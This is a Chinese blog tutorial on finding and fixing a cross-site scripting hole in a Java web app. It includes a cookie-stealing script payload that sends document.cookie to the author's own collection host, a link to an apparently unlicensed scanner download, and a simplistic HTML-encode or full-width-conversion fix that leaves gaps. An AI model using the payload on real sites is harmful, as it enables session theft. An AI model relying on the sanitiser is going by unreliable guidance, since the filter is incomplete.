发现问题
最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检测(http://webscan.360.cn/),但是发现这个太简单了,不够专业,那么我们再来一个专业的Acunetix
Web Vulnerability Scanner,这个软件是收费的,但是我是一个穷人所以就不买了,请原谅。如果你也很穷请到这里下载试用,链接: http://pan.baidu.com/s/1qWr1maC 密码: bvon。
扫描后,发现站点存在的主要漏洞XSS CSS Cross SiteScript,XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击类似于SQL注入攻击。看来危害挺大,我们必须修补下了。那么如何修补呢,首先我们的知道他是如何攻击的:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容:<input type="text" name="age" value=""> </body> </html>
我们直接输入<script>window.open(“www.jwdstef.com?param=”+document.cookie)</script>,当用户查看这个页面的时候,就会请求www.jwdstef.com这个站点,这个站点是我自己搭建的专门用来收集用户cookie的,这样我就盗取了用户的cookie。
修补xss
我们知道如何攻击,就可以想办法修补了,我们首先要过滤特殊字符如:<>"",‘’ 空格等,这种方法我们叫他Html encode
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
比如用户输入:<script>window.location.href=”http://www.jwdstef.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.jwdstef.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
html encode实现方法比较简单,可以通过过滤器来实现,不论你项目使用的什么框架(servlet,struts2,springmvc)我们都可以通过filter来实现。
private static String htmlEncode(char c) { switch(c) { case '&': return"&"; case '<': return"<"; case '>': return">"; case '"': return"""; case ' ': return" "; default: return c +""; } } /** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); }
这种方法不够优雅,为什么这么说呢,因为我们把他转了后,页面上还得用fn:excapeXml("fff")转回来,麻烦,那我们来一个碉堡的方法,
特殊字符全部转为全角特殊字符(Java 全角半角转换)。。。。哈哈,这样前台也不用转了,这个方法仔细想想确实够优雅。。。。。
这样我们也以最少的工作量完成了漏洞的修补。。为了防止黑客再次利用其他方法攻击我们的站点,我们不得不请来了大师为我们的代码和服务器开光
而且经过这次教训我们也强制要求代码的前面必须加上
// // _oo8oo_ // o8888888o // 88" . "88 // (| -_- |) // 0\ = /0 // ___/'==='\___ // .' \\| |// '. // / \\||| : |||// // / _||||| -:- |||||_ // | | \\\ - /// | | // | \_| ''\---/'' |_/ | // \ .-\__ '-' __/-. / // ___'. .' /--.--\ '. .'___ // ."" '< '.___\_<|>_/___.' >' "". // | | : `- \`.:`\ _ /`:.`/ -` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // =====`-.____`.___ \_____/ ___.`____.-`===== // `=---=` // // // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // 佛祖保佑 永不宕机/永无bug
哈哈,后面的都是开玩笑的,大家别当真。